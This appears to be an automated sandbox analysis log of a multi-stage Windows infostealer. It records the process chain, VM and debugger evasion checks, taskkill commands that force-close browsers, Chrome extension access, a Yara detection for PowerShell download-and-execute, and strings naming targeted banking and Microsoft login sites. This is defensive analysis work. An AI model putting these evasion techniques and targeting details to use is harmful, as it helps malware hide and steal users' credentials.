Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe TID: 7980	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 6720	Thread sleep time: -240120s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 7716	Thread sleep time: -244122s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 4836	Thread sleep time: -218109s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 5296	Thread sleep time: -32000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 6968	Thread sleep time: -206103s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 7368	Thread sleep time: -18101046s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 6308	Thread sleep time: -210105s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe TID: 7672	Thread sleep time: -230115s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe TID: 2224	Thread sleep time: -922337203685477s >= -30000s

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\EBFHJEGDAF.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C4EC930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C4EC930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread delayed: delay time: 922337203685477
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread delayed: delay time: 922337203685477

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, file.exe, 00000000.00000002.2643441249.0000000000EA7000.00000040.00000001.01000000.00000003.sdmp, EBFHJEGDAF.exe, EBFHJEGDAF.exe, 0000000E.00000002.2677011169.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000010.00000002.2731369729.000000000110F000.00000040.00000001.01000000.0000000E.sdmp, 43cdd8ad97.exe, 43cdd8ad97.exe, 00000011.00000002.3293851298.00000000004DD000.00000040.00000001.01000000.0000000F.sdmp, 998d30a932.exe, 00000012.00000002.2949271098.00000000013A7000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696428655f
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3087214800.0000000005573000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: file.exe, 00000000.00000002.2642547892.00000000008A1000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2642547892.0000000000874000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000002.3296196999.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000003.3172841206.0000000000E86000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000011.00000002.3296196999.0000000000E4A000.00000004.00000020.00020000.00000000.sdmp, 998d30a932.exe, 00000012.00000002.2948364302.0000000000B83000.00000004.00000020.00020000.00000000.sdmp, 998d30a932.exe, 00000012.00000002.2948364302.0000000000B54000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3084946747.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3165454493.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp, 43cdd8ad97.exe, 00000013.00000003.3126712779.0000000000D7B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 43cdd8ad97.exe, 00000011.00000003.3290450543.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: firefox.exe, 00000021.00000002.3146776275.00000209F0EC1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW : 2 : 34 : 1 : 1 : 0x20026 : 0x8 : %SystemRoot%\system32\mswsock.dll : : 1234191b-4bf7-4ca7-86e0-dfd7c32b5445
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 43cdd8ad97.exe, 00000011.00000003.3290450543.0000000000EE7000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, 00000000.00000002.2642547892.000000000082E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware1O=`J
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: EBFHJEGDAF.exe, 0000000E.00000003.2649282858.000000000171D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: 43cdd8ad97.exe, 00000013.00000003.3087214800.0000000005573000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: 998d30a932.exe, 00000012.00000002.2948364302.0000000000B0E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2643441249.0000000000EA7000.00000040.00000001.01000000.00000003.sdmp, EBFHJEGDAF.exe, 0000000E.00000002.2677011169.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000010.00000002.2731369729.000000000110F000.00000040.00000001.01000000.0000000E.sdmp, 43cdd8ad97.exe, 00000011.00000002.3293851298.00000000004DD000.00000040.00000001.01000000.0000000F.sdmp, 998d30a932.exe, 00000012.00000002.2949271098.00000000013A7000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 43cdd8ad97.exe, 00000013.00000003.3092377166.00000000054FD000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe

System information queried: KernelDebuggerInformation

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\Documents\EBFHJEGDAF.exe

Code function: 14_2_053D0090 rdtsc

14_2_053D0090

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C539450 ?floor@Decimal@blink@@QBE?AV12@XZ,LdrInitializeThunk,__aulldiv,LdrInitializeThunk,__aullrem,LdrInitializeThunk,__aulldiv,

0_2_6C539450

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C535FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C535FF0

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C53C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C53C410

Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe	Process token adjusted: Debug

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6C50B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6C50B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6C50B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: file.exe PID: 2172, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 998d30a932.exe PID: 6408, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\EBFHJEGDAF.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\EBFHJEGDAF.exe "C:\Users\user\Documents\EBFHJEGDAF.exe"	Jump to behavior
Source: C:\Users\user\Documents\EBFHJEGDAF.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe "C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe "C:\Users\user\AppData\Local\Temp\1010354001\998d30a932.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe "C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe "C:\Users\user\AppData\Local\Temp\1010356001\8d8ec3a6f5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe "C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=43cdd8ad97.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Source: C:\Users\user\AppData\Local\Temp\1010353001\43cdd8ad97.exe	Process created: unknown unknown

Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1010355001\fd549fc84a.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T

Source: fd549fc84a.exe, 00000014.00000002.3030348470.0000000000CA2000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: firefox.exe, 00000021.00000002.3133488367.000000E3599FB000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: EBFHJEGDAF.exe, EBFHJEGDAF.exe, 0000000E.00000002.2677011169.0000000000BCF000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, skotes.exe, 00000010.00000002.2731369729.000000000110F000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: YProgram Manager
Source: file.exe, file.exe, 00000000.00000002.2643441249.0000000000EA7000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 60Program Manager
Source: 43cdd8ad97.exe, 43cdd8ad97.exe, 00000011.00000002.3293851298.00000000004DD000.00000040.00000001.01000000.0000000F.sdmp	Binary or memory string: 3Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C50B341 cpuid

0_2_6C50B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1010357001\480f06d5d5.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0

